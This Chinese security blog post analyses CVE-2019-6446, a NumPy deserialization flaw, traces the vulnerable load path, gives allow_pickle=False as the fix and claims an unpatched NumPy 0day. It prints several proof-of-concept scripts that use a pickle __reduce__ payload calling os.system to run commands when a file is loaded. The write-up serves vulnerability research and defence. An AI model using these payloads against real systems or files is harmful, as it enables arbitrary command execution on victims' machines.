Numpy反序列化命令执行漏洞分析(CVE-2019-6446)附0day

释放双眼,带上耳机,听听看~!

1、介绍 

NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算。NumPy 提供大量的 函数和操作,能够帮助程序员便利进行数值计算。在 NumPy 1.16.0 版本之前存在反序列化 命令执行漏洞,用户加载恶意的数据源造成命令执行。

2、环境 软件环境如下: 

NumPy 1.16.0

Windows10 

PyCharm 2018.3.2

3、漏洞分析

先来看漏洞的入口,lib/npyio.py 第 288 行附近。如图所示。

通过 NumPy.lib.npyio.p 之中的load()方法加载序列化文件,通过 file 形参传入文件,由于allow_pickle=True,所以可以采用序列化文件。

再看漏洞触发位置,位置在 lib/npyio.py,第 418 行附近。由于在 windows下可能和其它系统下的行数位置存在差异,所以通过搜索_ZIP_PREFIX 变量就能快速定位到位置。为了方便阅读,我将无关的代码省略。

try:# Code to distinguish from NumPy binary files and pickles._ZIP_PREFIX = b'PK\x03\x04'_ZIP_SUFFIX = b'PK\x05\x06' # empty zip files start with this ……if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): ……elif magic == format.MAGIC_PREFIX: ……else:# Try a pickleif not allow_pickle:raise ValueError("Cannot load file containing pickled data ""when allow_pickle=False")try:return pickle.load(fid, **pickle_kwargs)except Exception:raise IOError("Failed to interpret file %s as a pickle" % repr(file))finally: ……

能够看到这个代码是用于区分 NumPy 二进制文件和 pickles。默认格式要求 ZIP 文件前

缀 PK\x03\x04 后缀 PK\x05\x06,如果不满足默认的格式,则会执行 pickle.load()方法。pickle 模块的作用是把 python 对象转换为字符串表示和字符串重构为对象,称之为封装和拆封或

为序列化和反序列化。通过查看 pickle 图表能够进一步了解模块,模块是由 BaseException、

pickle._Unpickler、pickle._Pickler、pickle._Franmer、pickle._Urfamer 组成,图表如下:

紧接着跟进  pickle.load()方法,相关的方法在  pickle._Urpickler   之中,如图所示:

跟入Lib/pickle.py 第 1060 行,如图所示:

此处为反序列执行的方法,到此为漏洞的执行流程为: NumPy.lib.npyio.pyload()=>pickle.py load()

4、POC

默认情况下 allow_pickle=True,允许通过文件反序列化,POC 如下:

from numpy.lib import npyiofrom numpy import __version__print(__version__)import osclass Test(object):def __init__(self):self.a = 1def __reduce__(self):return (os.system, ('whoami',))if __name__ == '__main__':tmpdaa = Test()npyio.save("test",tmpdaa)npyio.load("test.npy")
或者可以通过 pickles,POC 如下:from numpy.lib import npyiofrom numpy import __version__print(__version__)import osimport pickleclass Test(object):def __init__(self):self.a = 1def __reduce__(self):return (os.system,('whoami',))tmpdaa = Test()with open("test-file.pickle",'wb') as f:pickle.dump(tmpdaa,f)npyio.load("test-file.pickle")

测试结果,如图所示:

 

5、对比分析

这个漏洞让我想起了之前的反序列化问题,POC 通过构建对象、  reduce  魔法函数, 在 numpy.load()执行反序列化,之前漏洞 POC 如下:

import numpyfrom numpy import __version__print(__version__)import osimport pickleclass Test(object):def __init__(self):self.a = 1def __reduce__(self):return (os.system,('whoami',))tmpdaa = Test()with open("test-file.pickle",'wb') as f:pickle.dump(tmpdaa,f)numpy.load('test-file.pickle')

漏洞触发原因:numpy/core/numeric.py第 2280 行,如图所示:

同样执行了反序列化,两者的利用非常相似,都是用的 pickle.load()。

6、防御修复

由于需要 allow_pickle=True,才可以执行反序列化,所以只要将  allow_pickle=False,就可以避免反序列化问题。NumPy 在 1.16.0 之后的版本进行了修复,修复如下:

7、总结

CVE-2019-6446   漏洞给予我新的启发,看待漏洞不能仅看漏洞本身,对于不同的漏洞入口也很重要。个人觉得不同的入口算是新的利用思路披露对于认识漏洞是很有帮助。

 8、附上 0Day
截止完稿时,这个漏洞还属于 0day,NumPy.ma.coreload 方法反序列化漏洞,如图所示: 

 

__________________________________________________________

声明:本文章来自团队成员vr_system投稿,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

我们建立了一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。

想加入我们的微信群,目前聚集了来自全球信息安全公司的CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位,更多与安全大咖们面对面交流的机会。可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···


人已赞赏
安全工具安全教程

几行代码让苹果手机重启?一起来试试

2019-10-11 17:05:09

安全工具安全教程

RASP Agent技术划水

2019-10-11 17:05:16

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索